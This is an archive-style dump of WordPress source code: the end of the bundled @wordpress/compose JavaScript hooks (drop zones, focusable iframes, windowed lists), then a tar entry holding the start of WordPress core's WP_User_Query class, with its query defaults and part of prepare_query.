    function onDragEnter(/** @type {DragEvent} */event) {
      event.preventDefault();

      // The `dragenter` event will also fire when entering child
      // elements, but we only want to call `onDragEnter` when
      // entering the drop zone, which means the `relatedTarget`
      // (element that has been left) should be outside the drop zone.
      if (element.contains(/** @type {Node} */event.relatedTarget)) {
        return;
      }
      if (_onDragEnter) {
        onDragEnterEvent(event);
      }
    }
    function onDragOver(/** @type {DragEvent} */event) {
      // Only call onDragOver for the innermost hovered drop zones.
      if (!event.defaultPrevented && _onDragOver) {
        onDragOverEvent(event);
      }

      // Prevent the browser default while also signalling to parent
      // drop zones that `onDragOver` is already handled.
      event.preventDefault();
    }
    function onDragLeave(/** @type {DragEvent} */event) {
      // The `dragleave` event will also fire when leaving child
      // elements, but we only want to call `onDragLeave` when
      // leaving the drop zone, which means the `relatedTarget`
      // (element that has been entered) should be outside the drop
      // zone.
      // Note: This is not entirely reliable in Safari due to this bug
      // https://bugs.webkit.org/show_bug.cgi?id=66547

      if (isElementInZone(event.relatedTarget)) {
        return;
      }
      if (_onDragLeave) {
        onDragLeaveEvent(event);
      }
    }
    function onDrop(/** @type {DragEvent} */event) {
      // Don't handle drop if an inner drop zone already handled it.
      if (event.defaultPrevented) {
        return;
      }

      // Prevent the browser default while also signalling to parent
      // drop zones that `onDrop` is already handled.
      event.preventDefault();

      // This seemingly useless line has been shown to resolve a
      // Safari issue where files dragged directly from the dock are
      // not recognized.
      // eslint-disable-next-line no-unused-expressions
      event.dataTransfer && event.dataTransfer.files.length;
      if (_onDrop) {
        onDropEvent(event);
      }
      maybeDragEnd(event);
    }
    function maybeDragEnd(/** @type {MouseEvent} */event) {
      if (!isDragging) {
        return;
      }
      isDragging = false;
      ownerDocument.removeEventListener('dragend', maybeDragEnd);
      ownerDocument.removeEventListener('mousemove', maybeDragEnd);
      if (_onDragEnd) {
        onDragEndEvent(event);
      }
    }
    element.setAttribute('data-is-drop-zone', 'true');
    element.addEventListener('drop', onDrop);
    element.addEventListener('dragenter', onDragEnter);
    element.addEventListener('dragover', onDragOver);
    element.addEventListener('dragleave', onDragLeave);
    // The `dragstart` event doesn't fire if the drag started outside
    // the document.
    ownerDocument.addEventListener('dragenter', maybeDragStart);
    return () => {
      element.removeAttribute('data-is-drop-zone');
      element.removeEventListener('drop', onDrop);
      element.removeEventListener('dragenter', onDragEnter);
      element.removeEventListener('dragover', onDragOver);
      element.removeEventListener('dragleave', onDragLeave);
      ownerDocument.removeEventListener('dragend', maybeDragEnd);
      ownerDocument.removeEventListener('mousemove', maybeDragEnd);
      ownerDocument.removeEventListener('dragenter', maybeDragStart);
    };
  }, [isDisabled, dropZoneElement] // Refresh when the passed in dropZoneElement changes.
  );
}

;// ./node_modules/@wordpress/compose/build-module/hooks/use-focusable-iframe/index.js
/**
 * External dependencies
 */

/**
 * Internal dependencies
 */


/**
 * Dispatches a bubbling focus event when the iframe receives focus. Use
 * `onFocus` as usual on the iframe or a parent element.
 *
 * @return Ref to pass to the iframe.
 */
function useFocusableIframe() {
  return useRefEffect(element => {
    const {
      ownerDocument
    } = element;
    if (!ownerDocument) {
      return;
    }
    const {
      defaultView
    } = ownerDocument;
    if (!defaultView) {
      return;
    }

    /**
     * Checks whether the iframe is the activeElement, inferring that it has
     * then received focus, and dispatches a focus event.
     */
    function checkFocus() {
      if (ownerDocument && ownerDocument.activeElement === element) {
        element.focus();
      }
    }
    defaultView.addEventListener('blur', checkFocus);
    return () => {
      defaultView.removeEventListener('blur', checkFocus);
    };
  }, []);
}

;// ./node_modules/@wordpress/compose/build-module/hooks/use-fixed-window-list/index.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */

const DEFAULT_INIT_WINDOW_SIZE = 30;

/**
 * @typedef {Object} WPFixedWindowList
 *
 * @property {number}                  visibleItems Items visible in the current viewport
 * @property {number}                  start        Start index of the window
 * @property {number}                  end          End index of the window
 * @property {(index:number)=>boolean} itemInView   Returns true if item is in the window
 */

/**
 * @typedef {Object} WPFixedWindowListOptions
 *
 * @property {number}  [windowOverscan] Renders windowOverscan number of items before and after the calculated visible window.
 * @property {boolean} [useWindowing]   When false avoids calculating the window size
 * @property {number}  [initWindowSize] Initial window size to use on first render before we can calculate the window size.
 * @property {any}     [expandedState]  Used to recalculate the window size when the expanded state of a list changes.
 */

/**
 *
 * @param {import('react').RefObject<HTMLElement>} elementRef Used to find the closest scroll container that contains element.
 * @param { number }                               itemHeight Fixed item height in pixels
 * @param { number }                               totalItems Total items in list
 * @param { WPFixedWindowListOptions }             [options]  Options object
 * @return {[ WPFixedWindowList, setFixedListWindow:(nextWindow:WPFixedWindowList)=>void]} Array with the fixed window list and setter
 */
function useFixedWindowList(elementRef, itemHeight, totalItems, options) {
  var _options$initWindowSi, _options$useWindowing;
  const initWindowSize = (_options$initWindowSi = options?.initWindowSize) !== null && _options$initWindowSi !== void 0 ? _options$initWindowSi : DEFAULT_INIT_WINDOW_SIZE;
  const useWindowing = (_options$useWindowing = options?.useWindowing) !== null && _options$useWindowing !== void 0 ? _options$useWindowing : true;
  const [fixedListWindow, setFixedListWindow] = (0,external_wp_element_namespaceObject.useState)({
    visibleItems: initWindowSize,
    start: 0,
    end: initWindowSize,
    itemInView: (/** @type {number} */index) => {
      return index >= 0 && index <= initWindowSize;
    }
  });
  (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
    if (!useWindowing) {
      return;
    }
    const scrollContainer = (0,external_wp_dom_namespaceObject.getScrollContainer)(elementRef.current);
    const measureWindow = (/** @type {boolean | undefined} */initRender) => {
      var _options$windowOversc;
      if (!scrollContainer) {
        return;
      }
      const visibleItems = Math.ceil(scrollContainer.clientHeight / itemHeight);
      // Aim to keep opening list view fast, afterward we can optimize for scrolling.
      const windowOverscan = initRender ? visibleItems : (_options$windowOversc = options?.windowOverscan) !== null && _options$windowOversc !== void 0 ? _options$windowOversc : visibleItems;
      const firstViewableIndex = Math.floor(scrollContainer.scrollTop / itemHeight);
      const start = Math.max(0, firstViewableIndex - windowOverscan);
      const end = Math.min(totalItems - 1, firstViewableIndex + visibleItems + windowOverscan);
      setFixedListWindow(lastWindow => {
        const nextWindow = {
          visibleItems,
          start,
          end,
          itemInView: (/** @type {number} */index) => {
            return start <= index && index <= end;
          }
        };
        if (lastWindow.start !== nextWindow.start || lastWindow.end !== nextWindow.end || lastWindow.visibleItems !== nextWindow.visibleItems) {
          return nextWindow;
        }
        return lastWindow;
      });
    };
    measureWindow(true);
    const debounceMeasureList = debounce(() => {
      measureWindow();
    }, 16);
    scrollContainer?.addEventListener('scroll', debounceMeasureList);
    scrollContainer?.ownerDocument?.defaultView?.addEventListener('resize', debounceMeasureList);
    scrollContainer?.ownerDocument?.defaultView?.addEventListener('resize', debounceMeasureList);
    return () => {
      scrollContainer?.removeEventListener('scroll', debounceMeasureList);
      scrollContainer?.ownerDocument?.defaultView?.removeEventListener('resize', debounceMeasureList);
    };
  }, [itemHeight, elementRef, totalItems, options?.expandedState, options?.windowOverscan, useWindowing]);
  (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
    if (!useWindowing) {
      return;
    }
    const scrollContainer = (0,external_wp_dom_namespaceObject.getScrollContainer)(elementRef.current);
    const handleKeyDown = (/** @type {KeyboardEvent} */event) => {
      switch (event.keyCode) {
        case external_wp_keycodes_namespaceObject.HOME:
          {
            return scrollContainer?.scrollTo({
              top: 0
            });
          }
        case external_wp_keycodes_namespaceObject.END:
          {
            return scrollContainer?.scrollTo({
              top: totalItems * itemHeight
            });
          }
        case external_wp_keycodes_namespaceObject.PAGEUP:
          {
            return scrollContainer?.scrollTo({
              top: scrollContainer.scrollTop - fixedListWindow.visibleItems * itemHeight
            });
          }
        case external_wp_keycodes_namespaceObject.PAGEDOWN:
          {
            return scrollContainer?.scrollTo({
              top: scrollContainer.scrollTop + fixedListWindow.visibleItems * itemHeight
            });
          }
      }
    };
    scrollContainer?.ownerDocument?.defaultView?.addEventListener('keydown', handleKeyDown);
    return () => {
      scrollContainer?.ownerDocument?.defaultView?.removeEventListener('keydown', handleKeyDown);
    };
  }, [totalItems, itemHeight, elementRef, fixedListWindow.visibleItems, useWindowing, options?.expandedState]);
  return [fixedListWindow, setFixedListWindow];
}

;// ./node_modules/@wordpress/compose/build-module/hooks/use-observable-value/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */

/**
 * React hook that lets you observe an entry in an `ObservableMap`. The hook returns the
 * current value corresponding to the key, or `undefined` when there is no value stored.
 * It also observes changes to the value and triggers an update of the calling component
 * in case the value changes.
 *
 * @template K    The type of the keys in the map.
 * @template V    The type of the values in the map.
 * @param    map  The `ObservableMap` to observe.
 * @param    name The map key to observe.
 * @return   The value corresponding to the map key requested.
 */
function useObservableValue(map, name) {
  const [subscribe, getValue] = (0,external_wp_element_namespaceObject.useMemo)(() => [listener => map.subscribe(name, listener), () => map.get(name)], [map, name]);
  return (0,external_wp_element_namespaceObject.useSyncExternalStore)(subscribe, getValue, getValue);
}

;// ./node_modules/@wordpress/compose/build-module/index.js
// The `createHigherOrderComponent` helper and helper types.

// The `debounce` helper and its types.

// The `throttle` helper and its types.

// The `ObservableMap` data structure


// The `compose` and `pipe` helpers (inspired by `flowRight` and `flow` from Lodash).



// Higher-order components.







// Hooks.































})();

(window.wp = window.wp || {}).compose = __webpack_exports__;
/******/ })()
;14338/class-wp-user-query.php.tar000064400000131000151024420100012354 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/class-wp-user-query.php000064400000125207151024201120025730 0ustar00<?php
/**
 * User API: WP_User_Query class
 *
 * @package WordPress
 * @subpackage Users
 * @since 4.4.0
 */

/**
 * Core class used for querying users.
 *
 * @since 3.1.0
 *
 * @see WP_User_Query::prepare_query() for information on accepted arguments.
 */
#[AllowDynamicProperties]
class WP_User_Query {

	/**
	 * Query vars, after parsing
	 *
	 * @since 3.5.0
	 * @var array
	 */
	public $query_vars = array();

	/**
	 * List of found user IDs.
	 *
	 * @since 3.1.0
	 * @var array
	 */
	private $results;

	/**
	 * Total number of found users for the current query
	 *
	 * @since 3.1.0
	 * @var int
	 */
	private $total_users = 0;

	/**
	 * Metadata query container.
	 *
	 * @since 4.2.0
	 * @var WP_Meta_Query
	 */
	public $meta_query = false;

	/**
	 * The SQL query used to fetch matching users.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	public $request;

	private $compat_fields = array( 'results', 'total_users' );

	// SQL clauses.
	public $query_fields;
	public $query_from;
	public $query_where;
	public $query_orderby;
	public $query_limit;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @param null|string|array $query Optional. The query variables.
	 *                                 See WP_User_Query::prepare_query() for information on accepted arguments.
	 */
	public function __construct( $query = null ) {
		if ( ! empty( $query ) ) {
			$this->prepare_query( $query );
			$this->query();
		}
	}

	/**
	 * Fills in missing query variables with default values.
	 *
	 * @since 4.4.0
	 *
	 * @param string|array $args Query vars, as passed to `WP_User_Query`.
	 * @return array Complete query variables with undefined ones filled in with defaults.
	 */
	public static function fill_query_vars( $args ) {
		$defaults = array(
			'blog_id'             => get_current_blog_id(),
			'role'                => '',
			'role__in'            => array(),
			'role__not_in'        => array(),
			'capability'          => '',
			'capability__in'      => array(),
			'capability__not_in'  => array(),
			'meta_key'            => '',
			'meta_value'          => '',
			'meta_compare'        => '',
			'include'             => array(),
			'exclude'             => array(),
			'search'              => '',
			'search_columns'      => array(),
			'orderby'             => 'login',
			'order'               => 'ASC',
			'offset'              => '',
			'number'              => '',
			'paged'               => 1,
			'count_total'         => true,
			'fields'              => 'all',
			'who'                 => '',
			'has_published_posts' => null,
			'nicename'            => '',
			'nicename__in'        => array(),
			'nicename__not_in'    => array(),
			'login'               => '',
			'login__in'           => array(),
			'login__not_in'       => array(),
			'cache_results'       => true,
		);

		return wp_parse_args( $args, $defaults );
	}

	/**
	 * Prepares the query variables.
	 *
	 * @since 3.1.0
	 * @since 4.1.0 Added the ability to order by the `include` value.
	 * @since 4.2.0 Added 'meta_value_num' support for `$orderby` parameter. Added multi-dimensional array syntax
	 *              for `$orderby` parameter.
	 * @since 4.3.0 Added 'has_published_posts' parameter.
	 * @since 4.4.0 Added 'paged', 'role__in', and 'role__not_in' parameters. The 'role' parameter was updated to
	 *              permit an array or comma-separated list of values. The 'number' parameter was updated to support
	 *              querying for all users with using -1.
	 * @since 4.7.0 Added 'nicename', 'nicename__in', 'nicename__not_in', 'login', 'login__in',
	 *              and 'login__not_in' parameters.
	 * @since 5.1.0 Introduced the 'meta_compare_key' parameter.
	 * @since 5.3.0 Introduced the 'meta_type_key' parameter.
	 * @since 5.9.0 Added 'capability', 'capability__in', and 'capability__not_in' parameters.
	 *              Deprecated the 'who' parameter.
	 * @since 6.3.0 Added 'cache_results' parameter.
	 *
	 * @global wpdb     $wpdb     WordPress database abstraction object.
	 * @global WP_Roles $wp_roles WordPress role management object.
	 *
	 * @param string|array $query {
	 *     Optional. Array or string of query parameters.
	 *
	 *     @type int             $blog_id             The site ID. Default is the current site.
	 *     @type string|string[] $role                An array or a comma-separated list of role names that users
	 *                                                must match to be included in results. Note that this is
	 *                                                an inclusive list: users must match *each* role. Default empty.
	 *     @type string[]        $role__in            An array of role names. Matched users must have at least one
	 *                                                of these roles. Default empty array.
	 *     @type string[]        $role__not_in        An array of role names to exclude. Users matching one or more
	 *                                                of these roles will not be included in results. Default empty array.
	 *     @type string|string[] $meta_key            Meta key or keys to filter by.
	 *     @type string|string[] $meta_value          Meta value or values to filter by.
	 *     @type string          $meta_compare        MySQL operator used for comparing the meta value.
	 *                                                See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_compare_key    MySQL operator used for comparing the meta key.
	 *                                                See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_type           MySQL data type that the meta_value column will be CAST to for comparisons.
	 *                                                See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_type_key       MySQL data type that the meta_key column will be CAST to for comparisons.
	 *                                                See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type array           $meta_query          An associative array of WP_Meta_Query arguments.
	 *                                                See WP_Meta_Query::__construct() for accepted values.
	 *     @type string|string[] $capability          An array or a comma-separated list of capability names that users
	 *                                                must match to be included in results. Note that this is
	 *                                                an inclusive list: users must match *each* capability.
	 *                                                Does NOT work for capabilities not in the database or filtered
	 *                                                via {@see 'map_meta_cap'}. Default empty.
	 *     @type string[]        $capability__in      An array of capability names. Matched users must have at least one
	 *                                                of these capabilities.
	 *                                                Does NOT work for capabilities not in the database or filtered
	 *                                                via {@see 'map_meta_cap'}. Default empty array.
	 *     @type string[]        $capability__not_in  An array of capability names to exclude. Users matching one or more
	 *                                                of these capabilities will not be included in results.
	 *                                                Does NOT work for capabilities not in the database or filtered
	 *                                                via {@see 'map_meta_cap'}. Default empty array.
	 *     @type int[]           $include             An array of user IDs to include. Default empty array.
	 *     @type int[]           $exclude             An array of user IDs to exclude. Default empty array.
	 *     @type string          $search              Search keyword. Searches for possible string matches on columns.
	 *                                                When `$search_columns` is left empty, it tries to determine which
	 *                                                column to search in based on search string. Default empty.
	 *     @type string[]        $search_columns      Array of column names to be searched. Accepts 'ID', 'user_login',
	 *                                                'user_email', 'user_url', 'user_nicename', 'display_name'.
	 *                                                Default empty array.
	 *     @type string|array    $orderby             Field(s) to sort the retrieved users by. May be a single value,
	 *                                                an array of values, or a multi-dimensional array with fields as
	 *                                                keys and orders ('ASC' or 'DESC') as values. Accepted values are:
	 *                                                - 'ID'
	 *                                                - 'display_name' (or 'name')
	 *                                                - 'include'
	 *                                                - 'user_login' (or 'login')
	 *                                                - 'login__in'
	 *                                                - 'user_nicename' (or 'nicename')
	 *                                                - 'nicename__in'
	 *                                                - 'user_email' (or 'email')
	 *                                                - 'user_url' (or 'url')
	 *                                                - 'user_registered' (or 'registered')
	 *                                                - 'post_count'
	 *                                                - 'meta_value'
	 *                                                - 'meta_value_num'
	 *                                                - The value of `$meta_key`
	 *                                                - An array key of `$meta_query`
	 *                                                To use 'meta_value' or 'meta_value_num', `$meta_key`
	 *                                                must be also be defined. Default 'user_login'.
	 *     @type string          $order               Designates ascending or descending order of users. Order values
	 *                                                passed as part of an `$orderby` array take precedence over this
	 *                                                parameter. Accepts 'ASC', 'DESC'. Default 'ASC'.
	 *     @type int             $offset              Number of users to offset in retrieved results. Can be used in
	 *                                                conjunction with pagination. Default 0.
	 *     @type int             $number              Number of users to limit the query for. Can be used in
	 *                                                conjunction with pagination. Value -1 (all) is supported, but
	 *                                                should be used with caution on larger sites.
	 *                                                Default -1 (all users).
	 *     @type int             $paged               When used with number, defines the page of results to return.
	 *                                                Default 1.
	 *     @type bool            $count_total         Whether to count the total number of users found. If pagination
	 *                                                is not needed, setting this to false can improve performance.
	 *                                                Default true.
	 *     @type string|string[] $fields              Which fields to return. Single or all fields (string), or array
	 *                                                of fields. Accepts:
	 *                                                - 'ID'
	 *                                                - 'display_name'
	 *                                                - 'user_login'
	 *                                                - 'user_nicename'
	 *                                                - 'user_email'
	 *                                                - 'user_url'
	 *                                                - 'user_registered'
	 *                                                - 'user_pass'
	 *                                                - 'user_activation_key'
	 *                                                - 'user_status'
	 *                                                - 'spam' (only available on multisite installs)
	 *                                                - 'deleted' (only available on multisite installs)
	 *                                                - 'all' for all fields and loads user meta.
	 *                                                - 'all_with_meta' Deprecated. Use 'all'.
	 *                                                Default 'all'.
	 *     @type string          $who                 Deprecated, use `$capability` instead.
	 *                                                Type of users to query. Accepts 'authors'.
	 *                                                Default empty (all users).
	 *     @type bool|string[]   $has_published_posts Pass an array of post types to filter results to users who have
	 *                                                published posts in those post types. `true` is an alias for all
	 *                                                public post types.
	 *     @type string          $nicename            The user nicename. Default empty.
	 *     @type string[]        $nicename__in        An array of nicenames to include. Users matching one of these
	 *                                                nicenames will be included in results. Default empty array.
	 *     @type string[]        $nicename__not_in    An array of nicenames to exclude. Users matching one of these
	 *                                                nicenames will not be included in results. Default empty array.
	 *     @type string          $login               The user login. Default empty.
	 *     @type string[]        $login__in           An array of logins to include. Users matching one of these
	 *                                                logins will be included in results. Default empty array.
	 *     @type string[]        $login__not_in       An array of logins to exclude. Users matching one of these
	 *                                                logins will not be included in results. Default empty array.
	 *     @type bool            $cache_results       Whether to cache user information. Default true.
	 * }
	 */
	public function prepare_query( $query = array() ) {
		global $wpdb, $wp_roles;

		if ( empty( $this->query_vars ) || ! empty( $query ) ) {
			$this->query_limit = null;
			$this->query_vars  = $this->fill_query_vars( $query );
		}

		/**
		 * Fires before the WP_User_Query has been parsed.
		 *
		 * The passed WP_User_Query object contains the query variables,
		 * not yet passed into SQL.
		 *
		 * @since 4.0.0
		 *
		 * @param WP_User_Query $query Current instance of WP_User_Query (passed by reference).
		 */
		do_action_ref_array( 'pre_get_users', array( &$this ) );

		// Ensure that query vars are filled after 'pre_get_users'.
		$qv =& $this->query_vars;
		$qv = $this->fill_query_vars( $qv );

		$allowed_fields = array(
			'id',
			'user_login',
			'user_pass',
			'user_nicename',
			'user_email',
			'user_url',
			'user_registered',
			'user_activation_key',
			'user_status',
			'display_name',
		);
		if ( is_multisite() ) {
			$allowed_fields[] = 'spam';
			$allowed_fields[] = 'deleted';
		}

		if ( is_array( $qv['fields'] ) ) {
			$qv['fields'] = array_map( 'strtolower', $qv['fields'] );
			$qv['fields'] = array_intersect( array_unique( $qv['fields'] ), $allowed_fields );

			if ( empty( $qv['fields'] ) ) {
				$qv['fields'] = array( 'id' );
			}

			$this->query_fields = array();
			foreach ( $qv['fields'] as $field ) {
				$field                = 'id' === $field ? 'ID' : sanitize_key( $field );
				$this->query_fields[] = "$wpdb->users.$field";
			}
			$this->query_fields = implode( ',', $this->query_fields );
		} elseif ( 'all_with_meta' === $qv['fields'] || 'all' === $qv['fields'] || ! in_array( $qv['fields'], $allowed_fields, true ) ) {
			$this->query_fields = "$wpdb->users.ID";
		} else {
			$field              = 'id' === strtolower( $qv['fields'] ) ? 'ID' : sanitize_key( $qv['fields'] );
			$this->query_fields = "$wpdb->users.$field";
		}

		if ( isset( $qv['count_total'] ) && $qv['count_total'] ) {
			$this->query_fields = 'SQL_CALC_FOUND_ROWS ' . $this->query_fields;
		}

		$this->query_from  = "FROM $wpdb->users";
		$this->query_where = 'WHERE 1=1';

		// Parse and sanitize 'include', for use by 'orderby' as well as 'include' below.
		if ( ! empty( $qv['include'] ) ) {
			$include = wp_parse_id_list( $qv['include'] );
		} else {
			$include = false;
		}

		$blog_id = 0;
		if ( isset( $qv['blog_id'] ) ) {
			$blog_id = absint( $qv['blog_id'] );
		}

		if ( $qv['has_published_posts'] && $blog_id ) {
			if ( true === $qv['has_published_posts'] ) {
				$post_types = get_post_types( array( 'public' => true ) );
			} else {
				$post_types = (array) $qv['has_published_posts'];
			}

			foreach ( $post_types as &$post_type ) {
				$post_type = $wpdb->prepare( '%s', $post_type );
			}

			$posts_table        = $wpdb->get_blog_prefix( $blog_id ) . 'posts';
			$this->query_where .= " AND $wpdb->users.ID IN ( SELECT DISTINCT $posts_table.post_author FROM $posts_table WHERE $posts_table.post_status = 'publish' AND $posts_table.post_type IN ( " . implode( ', ', $post_types ) . ' ) )';
		}

		// nicename
		if ( '' !== $qv['nicename'] ) {
			$this->query_where .= $wpdb->prepare( ' AND user_nicename = %s', $qv['nicename'] );
		}

		if ( ! empty( $qv['nicename__in'] ) ) {
			$sanitized_nicename__in = array_map( 'esc_sql', $qv['nicename__in'] );
			$nicename__in           = implode( "','", $sanitized_nicename__in );
			$this->query_where     .= " AND user_nicename IN ( '$nicename__in' )";
		}

		if ( ! empty( $qv['nicename__not_in'] ) ) {
			$sanitized_nicename__not_in = array_map( 'esc_sql', $qv['nicename__not_in'] );
			$nicename__not_in           = implode( "','", $sanitized_nicename__not_in );
			$this->query_where         .= " AND user_nicename NOT IN ( '$nicename__not_in' )";
		}

		// login
		if ( '' !== $qv['login'] ) {
			$this->query_where .= $wpdb->prepare( ' AND user_login = %s', $qv['login'] );
		}

		if ( ! empty( $qv['login__in'] ) ) {
			$sanitized_login__in = array_map( 'esc_sql', $qv['login__in'] );
			$login__in           = implode( "','", $sanitized_login__in );
			$this->query_where  .= " AND user_login IN ( '$login__in' )";
		}

		if ( ! empty( $qv['login__not_in'] ) ) {
			$sanitized_login__not_in = array_map( 'esc_sql', $qv['login__not_in'] );
			$login__not_in           = implode( "','", $sanitized_login__not_in );
			$this->query_where      .= " AND user_login NOT IN ( '$login__not_in' )";
		}

		// Meta query.
		$this->meta_query = new WP_Meta_Query();
		$this->meta_query->parse_query_vars( $qv );

		if ( isset( $qv['who'] ) && 'authors' === $qv['who'] && $blog_id ) {
			_deprecated_argument(
				'WP_User_Query',
				'5.9.0',
				sprintf(
					/* translators: 1: who, 2: capability */
					__( '%1$s is deprecated. Use %2$s instead.' ),
					'<code>who</code>',
					'<code>capability</code>'
				)
			);

			$who_query = array(
				'key'     => $wpdb->get_blog_prefix( $blog_id ) . 'user_level',
				'value'   => 0,
				'compare' => '!=',
			);

			// Prevent extra meta query.
			$qv['blog_id'] = 0;
			$blog_id       = 0;

			if ( empty( $this->meta_query->queries ) ) {
				$this->meta_query->queries = array( $who_query );
			} else {
				// Append the cap query to the original queries and reparse the query.
				$this->meta_query->queries = array(
					'relation' => 'AND',
					array( $this->meta_query->queries, $who_query ),
				);
			}

			$this->meta_query->parse_query_vars( $this->meta_query->queries );
		}

		// Roles.
		$roles = array();
		if ( isset( $qv['role'] ) ) {
			if ( is_array( $qv['role'] ) ) {
				$roles = $qv['role'];
			} elseif ( is_string( $qv['role'] ) && ! empty( $qv['role'] ) ) {
				$roles = array_map( 'trim', explode( ',', $qv['role'] ) );
			}
		}

		$role__in = array();
		if ( isset( $qv['role__in'] ) ) {
			$role__in = (array) $qv['role__in'];
		}

		$role__not_in = array();
		if ( isset( $qv['role__not_in'] ) ) {
			$role__not_in = (array) $qv['role__not_in'];
		}

		// Capabilities.
		$available_roles = array();

		if ( ! empty( $qv['capability'] ) || ! empty( $qv['capability__in'] ) || ! empty( $qv['capability__not_in'] ) ) {
			$wp_roles->for_site( $blog_id );
			$available_roles = $wp_roles->roles;
		}

		$capabilities = array();
		if ( ! empty( $qv['capability'] ) ) {
			if ( is_array( $qv['capability'] ) ) {
				$capabilities = $qv['capability'];
			} elseif ( is_string( $qv['capability'] ) ) {
				$capabilities = array_map( 'trim', explode( ',', $qv['capability'] ) );
			}
		}

		$capability__in = array();
		if ( ! empty( $qv['capability__in'] ) ) {
			$capability__in = (array) $qv['capability__in'];
		}

		$capability__not_in = array();
		if ( ! empty( $qv['capability__not_in'] ) ) {
			$capability__not_in = (array) $qv['capability__not_in'];
		}

		// Keep track of all capabilities and the roles they're added on.
		$caps_with_roles = array();

		foreach ( $available_roles as $role => $role_data ) {
			$role_caps = array_keys( array_filter( $role_data['capabilities'] ) );

			foreach ( $capabilities as $cap ) {
				if ( in_array( $cap, $role_caps, true ) ) {
					$caps_with_roles[ $cap ][] = $role;
					break;
				}
			}

			foreach ( $capability__in as $cap ) {
				if ( in_array( $cap, $role_caps, true ) ) {
					$role__in[] = $role;
					break;
				}
			}

			foreach ( $capability__not_in as $cap ) {
				if ( in_array( $cap, $role_caps, true ) ) {
					$role__not_in[] = $role;
					break;
				}
			}
		}

		$role__in     = array_merge( $role__in, $capability__in );
		$role__not_in = array_merge( $role__not_in, $capability__not_in );

		$roles        = array_unique( $roles );
		$role__in     = array_unique( $role__in );
		$role__not_in = array_unique( $role__not_in );

		// Support querying by capabilities added directly to users.
		if ( $blog_id && ! empty( $capabilities ) ) {
			$capabilities_clauses = array( 'relation' => 'AND' );

			foreach ( $capabilities as $cap ) {
				$clause = array( 'relation' => 'OR' );

				$clause[] = array(
					'key'     => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities',
					'value'   => '"' . $cap . '"',
					'compare' => 'LIKE',
				);

				if ( ! empty( $caps_with_roles[ $cap ] ) ) {
					foreach ( $caps_with_roles[ $cap ] as $role ) {
						$clause[] = array(
							'key'     => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities',
							'value'   => '"' . $role . '"',
							'compare' => 'LIKE',
						);
					}
				}

				$capabilities_clauses[] = $clause;
			}

			$role_queries[] = $capabilities_clauses;

			if ( empty( $this->meta_query->queries ) ) {
				$this->meta_query->queries[] = $capabilities_clauses;
			} else {
				// Append the cap query to the original queries and reparse the query.
				$this->meta_query->queries = array(
					'relation' => 'AND',
					array( $this->meta_query->queries, array( $capabilities_clauses ) ),
				);
			}

			$this->meta_query->parse_query_vars( $this->meta_query->queries );
		}

		if ( $blog_id && ( ! empty( $roles ) || ! empty( $role__in ) || ! empty( $role__not_in ) || is_multisite() ) ) {
			$role_queries = array();

			$roles_clauses = array( 'relation' => 'AND' );
			if ( ! empty( $roles ) ) {
				foreach ( $roles as $role ) {
					$roles_clauses[] = array(
						'key'     => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities',
						'value'   => '"' . $role . '"',
						'compare' => 'LIKE',
					);
				}

				$role_queries[] = $roles_clauses;
			}

			$role__in_clauses = array( 'relation' => 'OR' );
			if ( ! empty( $role__in ) ) {
				foreach ( $role__in as $role ) {
					$role__in_clauses[] = array(
						'key'     => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities',
						'value'   => '"' . $role . '"',
						'compare' => 'LIKE',
					);
				}

				$role_queries[] = $role__in_clauses;
			}

			$role__not_in_clauses = array( 'relation' => 'AND' );
			if ( ! empty( $role__not_in ) ) {
				foreach ( $role__not_in as $role ) {
					$role__not_in_clauses[] = array(
						'key'     => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities',
						'value'   => '"' . $role . '"',
						'compare' => 'NOT LIKE',
					);
				}

				$role_queries[] = $role__not_in_clauses;
			}

			// If there are no specific roles named, make sure the user is a member of the site.
			if ( empty( $role_queries ) ) {
				$role_queries[] = array(
					'key'     => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities',
					'compare' => 'EXISTS',
				);
			}

			// Specify that role queries should be joined with AND.
			$role_queries['relation'] = 'AND';

			if ( empty( $this->meta_query->queries ) ) {
				$this->meta_query->queries = $role_queries;
			} else {
				// Append the cap query to the original queries and reparse the query.
				$this->meta_query->queries = array(
					'relation' => 'AND',
					array( $this->meta_query->queries, $role_queries ),
				);
			}

			$this->meta_query->parse_query_vars( $this->meta_query->queries );
		}

		if ( ! empty( $this->meta_query->queries ) ) {
			$clauses            = $this->meta_query->get_sql( 'user', $wpdb->users, 'ID', $this );
			$this->query_from  .= $clauses['join'];
			$this->query_where .= $clauses['where'];

			if ( $this->meta_query->has_or_relation() ) {
				$this->query_fields = 'DISTINCT ' . $this->query_fields;
			}
		}

		// Sorting.
		$qv['order'] = isset( $qv['order'] ) ? strtoupper( $qv['order'] ) : '';
		$order       = $this->parse_order( $qv['order'] );

		if ( empty( $qv['orderby'] ) ) {
			// Default order is by 'user_login'.
			$ordersby = array( 'user_login' => $order );
		} elseif ( is_array( $qv['orderby'] ) ) {
			$ordersby = $qv['orderby'];
		} else {
			// 'orderby' values may be a comma- or space-separated list.
			$ordersby = preg_split( '/[,\s]+/', $qv['orderby'] );
		}

		$orderby_array = array();
		foreach ( $ordersby as $_key => $_value ) {
			if ( ! $_value ) {
				continue;
			}

			if ( is_int( $_key ) ) {
				// Integer key means this is a flat array of 'orderby' fields.
				$_orderby = $_value;
				$_order   = $order;
			} else {
				// Non-integer key means this the key is the field and the value is ASC/DESC.
				$_orderby = $_key;
				$_order   = $_value;
			}

			$parsed = $this->parse_orderby( $_orderby );

			if ( ! $parsed ) {
				continue;
			}

			if ( 'nicename__in' === $_orderby || 'login__in' === $_orderby ) {
				$orderby_array[] = $parsed;
			} else {
